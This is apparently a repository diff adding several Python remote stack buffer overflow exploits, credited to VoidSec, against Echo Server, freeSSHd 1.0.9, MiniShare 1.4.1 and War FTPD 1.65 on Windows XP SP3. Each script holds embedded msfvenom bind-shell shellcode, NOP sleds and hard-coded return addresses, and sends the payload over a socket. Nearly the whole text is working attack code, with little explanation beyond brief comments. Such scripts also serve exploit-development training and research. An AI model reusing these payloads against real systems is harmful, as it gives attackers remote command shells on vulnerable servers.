# buffer is not aligned with the top of the stack at 0022F730
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
|
||||
shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
|
||||
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
|
||||
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
|
||||
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
|
||||
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
|
||||
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
|
||||
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
|
||||
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
|
||||
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
|
||||
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
|
||||
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
|
||||
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
|
||||
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
|
||||
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
|
||||
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
|
||||
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
|
||||
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
|
||||
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
|
||||
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
|
||||
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
|
||||
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
|
||||
NOP="\x90"*36
|
||||
NOP2="\x90"*(1036-36-len(shellcode))
|
||||
EIP="\x50\xf7\x22\x00"#0022F750
|
||||
|
||||
sock.send(NOP+shellcode+NOP2+EIP)
|
||||
sock.close()
|
||||
@@ -0,0 +1,53 @@
|
||||
"""
|
||||
Full title: Echo Server v3 Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server v3
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86
|
||||
#memset will "clean" our buffer 0022F73C, we should jump higher in the stack (lower memory addr)
|
||||
#ESP must go to higher value in the stack, we are gonna subtract more than 1036 from esp
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
|
||||
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
|
||||
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
|
||||
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
|
||||
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
|
||||
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
|
||||
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
|
||||
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
|
||||
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
|
||||
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
|
||||
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
|
||||
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
|
||||
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
|
||||
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
|
||||
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
|
||||
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
|
||||
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
|
||||
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
|
||||
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
|
||||
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
|
||||
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
|
||||
esp_adj="\x81\xEC\x00\x30\x00\x00"
|
||||
buff="\x90"*40
|
||||
buff+=esp_adj
|
||||
buff+=shellcode
|
||||
buff+="\x90"*(1036-40-len(shellcode)-len(esp_adj))
|
||||
buff+="\x34\xf3\x22\x00"#0022F334
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,48 @@
|
||||
"""
|
||||
Full title: Echo Server Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
buff="A"*1036
|
||||
EIP="\x30\xf7\x22\x00" #Overwrite RET addr on the stack, MUST be reverse order since is Little Endian Notation 0022F730
|
||||
NOP="\x90"*10 #ESP is pointing to
|
||||
shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
|
||||
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
|
||||
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
|
||||
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
|
||||
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
|
||||
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
|
||||
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
|
||||
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
|
||||
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
|
||||
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
|
||||
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
|
||||
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
|
||||
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
|
||||
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
|
||||
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
|
||||
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
|
||||
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
|
||||
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
|
||||
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
|
||||
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
|
||||
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
|
||||
sock.send(buff+EIP+NOP+shellcode)
|
||||
sock.close()
|
||||
@@ -0,0 +1,53 @@
|
||||
"""
|
||||
Full title: freeSSHd 1.0.9 Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://www.freesshd.com/
|
||||
Version: freeSSHd 1.0.9
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
import socket, sys
|
||||
import time
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00"
|
||||
shellcode=("\xbb\x48\x2b\x17\x4c\xd9\xf6\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
|
||||
"\x53\x31\x5d\x12\x03\x5d\x12\x83\x8d\x2f\xf5\xb9\xf1\xd8\x7b"
|
||||
"\x41\x09\x19\x1c\xcb\xec\x28\x1c\xaf\x65\x1a\xac\xbb\x2b\x97"
|
||||
"\x47\xe9\xdf\x2c\x25\x26\xd0\x85\x80\x10\xdf\x16\xb8\x61\x7e"
|
||||
"\x95\xc3\xb5\xa0\xa4\x0b\xc8\xa1\xe1\x76\x21\xf3\xba\xfd\x94"
|
||||
"\xe3\xcf\x48\x25\x88\x9c\x5d\x2d\x6d\x54\x5f\x1c\x20\xee\x06"
|
||||
"\xbe\xc3\x23\x33\xf7\xdb\x20\x7e\x41\x50\x92\xf4\x50\xb0\xea"
|
||||
"\xf5\xff\xfd\xc2\x07\x01\x3a\xe4\xf7\x74\x32\x16\x85\x8e\x81"
|
||||
"\x64\x51\x1a\x11\xce\x12\xbc\xfd\xee\xf7\x5b\x76\xfc\xbc\x28"
|
||||
"\xd0\xe1\x43\xfc\x6b\x1d\xcf\x03\xbb\x97\x8b\x27\x1f\xf3\x48"
|
||||
"\x49\x06\x59\x3e\x76\x58\x02\x9f\xd2\x13\xaf\xf4\x6e\x7e\xb8"
|
||||
"\x39\x43\x80\x38\x56\xd4\xf3\x0a\xf9\x4e\x9b\x26\x72\x49\x5c"
|
||||
"\x48\xa9\x2d\xf2\xb7\x52\x4e\xdb\x73\x06\x1e\x73\x55\x27\xf5"
|
||||
"\x83\x5a\xf2\x60\x8b\xfd\xad\x96\x76\xbd\x1d\x17\xd8\x56\x74"
|
||||
"\x98\x07\x46\x77\x72\x20\xef\x8a\x7d\x5f\xac\x03\x9b\x35\x5c"
|
||||
"\x42\x33\xa1\x9e\xb1\x8c\x56\xe0\x93\xa4\xf0\xa9\xf5\x73\xff"
|
||||
"\x29\xd0\xd3\x97\xa1\x37\xe0\x86\xb5\x1d\x40\xdf\x22\xeb\x01"
|
||||
"\x92\xd3\xec\x0b\x44\x77\x7e\xd0\x94\xfe\x63\x4f\xc3\x57\x55"
|
||||
"\x86\x81\x45\xcc\x30\xb7\x97\x88\x7b\x73\x4c\x69\x85\x7a\x01"
|
||||
"\xd5\xa1\x6c\xdf\xd6\xed\xd8\x8f\x80\xbb\xb6\x69\x7b\x0a\x60"
|
||||
"\x20\xd0\xc4\xe4\xb5\x1a\xd7\x72\xba\x76\xa1\x9a\x0b\x2f\xf4"
|
||||
"\xa5\xa4\xa7\xf0\xde\xd8\x57\xfe\x35\x59\x67\xb5\x17\xc8\xe0"
|
||||
"\x10\xc2\x48\x6d\xa3\x39\x8e\x88\x20\xcb\x6f\x6f\x38\xbe\x6a"
|
||||
"\x2b\xfe\x53\x07\x24\x6b\x53\xb4\x45\xbe")
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect(("127.0.0.1", 22))
|
||||
message = sock.recv(1000)
|
||||
print message
|
||||
buffer = ("\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48"
|
||||
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde")
|
||||
buffer += "A"*1055
|
||||
buffer +="\x78\x6A\x83\x7C"#7C836A78
|
||||
buffer +="\x90"*8
|
||||
buffer+=shellcode
|
||||
buffer +="\x90"*(22000-len(buffer))
|
||||
buffer += "\r\n"
|
||||
sock.send(buffer)
|
||||
time.sleep(5)
|
||||
sock.close()
|
||||
@@ -0,0 +1,53 @@
|
||||
"""
|
||||
Full title: MiniShare 1.4.1 Remote Stack Buffer Overflow PoC
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://minishare.sf.net
|
||||
Version: MiniShare 1.4.1
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
|
||||
#!/usr/bin/python
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=80, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=3000, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0d"
|
||||
shellcode=("\xbf\xf5\x93\xde\xf0\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
|
||||
"\x53\x31\x7e\x12\x03\x7e\x12\x83\x33\x97\x3c\x05\x47\x70\x42"
|
||||
"\xe6\xb7\x81\x23\x6e\x52\xb0\x63\x14\x17\xe3\x53\x5e\x75\x08"
|
||||
"\x1f\x32\x6d\x9b\x6d\x9b\x82\x2c\xdb\xfd\xad\xad\x70\x3d\xac"
|
||||
"\x2d\x8b\x12\x0e\x0f\x44\x67\x4f\x48\xb9\x8a\x1d\x01\xb5\x39"
|
||||
"\xb1\x26\x83\x81\x3a\x74\x05\x82\xdf\xcd\x24\xa3\x4e\x45\x7f"
|
||||
"\x63\x71\x8a\x0b\x2a\x69\xcf\x36\xe4\x02\x3b\xcc\xf7\xc2\x75"
|
||||
"\x2d\x5b\x2b\xba\xdc\xa5\x6c\x7d\x3f\xd0\x84\x7d\xc2\xe3\x53"
|
||||
"\xff\x18\x61\x47\xa7\xeb\xd1\xa3\x59\x3f\x87\x20\x55\xf4\xc3"
|
||||
"\x6e\x7a\x0b\x07\x05\x86\x80\xa6\xc9\x0e\xd2\x8c\xcd\x4b\x80"
|
||||
"\xad\x54\x36\x67\xd1\x86\x99\xd8\x77\xcd\x34\x0c\x0a\x8c\x50"
|
||||
"\xe1\x27\x2e\xa1\x6d\x3f\x5d\x93\x32\xeb\xc9\x9f\xbb\x35\x0e"
|
||||
"\xdf\x91\x82\x80\x1e\x1a\xf3\x89\xe4\x4e\xa3\xa1\xcd\xee\x28"
|
||||
"\x31\xf1\x3a\xc4\x39\x54\x95\xfb\xc4\x26\x45\xbc\x66\xcf\x8f"
|
||||
"\x33\x59\xef\xaf\x99\xf2\x98\x4d\x22\xed\x04\xdb\xc4\x67\xa5"
|
||||
"\x8d\x5f\x1f\x07\xea\x57\xb8\x78\xd8\xcf\x2e\x30\x0a\xd7\x51"
|
||||
"\xc1\x18\x7f\xc5\x4a\x4f\xbb\xf4\x4c\x5a\xeb\x61\xda\x10\x7a"
|
||||
"\xc0\x7a\x24\x57\xb2\x1f\xb7\x3c\x42\x69\xa4\xea\x15\x3e\x1a"
|
||||
"\xe3\xf3\xd2\x05\x5d\xe1\x2e\xd3\xa6\xa1\xf4\x20\x28\x28\x78"
|
||||
"\x1c\x0e\x3a\x44\x9d\x0a\x6e\x18\xc8\xc4\xd8\xde\xa2\xa6\xb2"
|
||||
"\x88\x19\x61\x52\x4c\x52\xb2\x24\x51\xbf\x44\xc8\xe0\x16\x11"
|
||||
"\xf7\xcd\xfe\x95\x80\x33\x9f\x5a\x5b\xf0\xaf\x10\xc1\x51\x38"
|
||||
"\xfd\x90\xe3\x25\xfe\x4f\x27\x50\x7d\x65\xd8\xa7\x9d\x0c\xdd"
|
||||
"\xec\x19\xfd\xaf\x7d\xcc\x01\x03\x7d\xc5")
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
buff="GET"
|
||||
buff+="A"*1788
|
||||
buff+="\x78\x6A\x83\x7C"#7C836A78
|
||||
buff+="\x90"*24
|
||||
buff+=shellcode
|
||||
buff+=" HTTP/1.1\r\n\r\n"
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,49 @@
|
||||
"""
|
||||
Full title: War FTPD 1.65 Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://www.jgaa.com
|
||||
Version: War FTPD 1.65
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
import socket, sys
|
||||
# @chars is used for user@host
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x0d\x40"
|
||||
shellcode=("\xda\xd4\xbb\x81\x49\xfc\xd4\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
|
||||
"\x53\x31\x58\x17\x83\xe8\xfc\x03\xd9\x5a\x1e\x21\x25\xb4\x5c"
|
||||
"\xca\xd5\x45\x01\x42\x30\x74\x01\x30\x31\x27\xb1\x32\x17\xc4"
|
||||
"\x3a\x16\x83\x5f\x4e\xbf\xa4\xe8\xe5\x99\x8b\xe9\x56\xd9\x8a"
|
||||
"\x69\xa5\x0e\x6c\x53\x66\x43\x6d\x94\x9b\xae\x3f\x4d\xd7\x1d"
|
||||
"\xaf\xfa\xad\x9d\x44\xb0\x20\xa6\xb9\x01\x42\x87\x6c\x19\x1d"
|
||||
"\x07\x8f\xce\x15\x0e\x97\x13\x13\xd8\x2c\xe7\xef\xdb\xe4\x39"
|
||||
"\x0f\x77\xc9\xf5\xe2\x89\x0e\x31\x1d\xfc\x66\x41\xa0\x07\xbd"
|
||||
"\x3b\x7e\x8d\x25\x9b\xf5\x35\x81\x1d\xd9\xa0\x42\x11\x96\xa7"
|
||||
"\x0c\x36\x29\x6b\x27\x42\xa2\x8a\xe7\xc2\xf0\xa8\x23\x8e\xa3"
|
||||
"\xd1\x72\x6a\x05\xed\x64\xd5\xfa\x4b\xef\xf8\xef\xe1\xb2\x94"
|
||||
"\xdc\xcb\x4c\x65\x4b\x5b\x3f\x57\xd4\xf7\xd7\xdb\x9d\xd1\x20"
|
||||
"\x1b\xb4\xa6\xbe\xe2\x37\xd7\x97\x20\x63\x87\x8f\x81\x0c\x4c"
|
||||
"\x4f\x2d\xd9\xf9\x47\x88\xb2\x1f\xaa\x6a\x63\xa0\x04\x03\x69"
|
||||
"\x2f\x7b\x33\x92\xe5\x14\xdc\x6f\x06\x0b\x41\xf9\xe0\x41\x69"
|
||||
"\xaf\xbb\xfd\x4b\x94\x73\x9a\xb4\xfe\x2b\x0c\xfc\xe8\xec\x33"
|
||||
"\xfd\x3e\x5b\xa3\x76\x2d\x5f\xd2\x88\x78\xf7\x83\x1f\xf6\x96"
|
||||
"\xe6\xbe\x07\xb3\x90\x23\x95\x58\x60\x2d\x86\xf6\x37\x7a\x78"
|
||||
"\x0f\xdd\x96\x23\xb9\xc3\x6a\xb5\x82\x47\xb1\x06\x0c\x46\x34"
|
||||
"\x32\x2a\x58\x80\xbb\x76\x0c\x5c\xea\x20\xfa\x1a\x44\x83\x54"
|
||||
"\xf5\x3b\x4d\x30\x80\x77\x4e\x46\x8d\x5d\x38\xa6\x3c\x08\x7d"
|
||||
"\xd9\xf1\xdc\x89\xa2\xef\x7c\x75\x79\xb4\x8d\x3c\x23\x9d\x05"
|
||||
"\x99\xb6\x9f\x4b\x1a\x6d\xe3\x75\x99\x87\x9c\x81\x81\xe2\x99"
|
||||
"\xce\x05\x1f\xd0\x5f\xe0\x1f\x47\x5f\x21")
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect(("127.0.0.1", 21))
|
||||
print sock.recv(1500)
|
||||
buffer = "A"*485
|
||||
buffer+="\x53\x93\x42\x7e"
|
||||
buffer+="\x90"*15
|
||||
buffer+=shellcode
|
||||
sock.send("USER " + buffer + "\r\n")
|
||||
print sock.recv(1500)
|
||||
sock.send("PASS demo@demo.com\r\n")
|
||||
print sock.recv(1500)
|
||||
sock.close()
|
||||
@@ -2,7 +2,7 @@
|
||||
Full title: WinServer Remote Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
Reference in New Issue
Block a user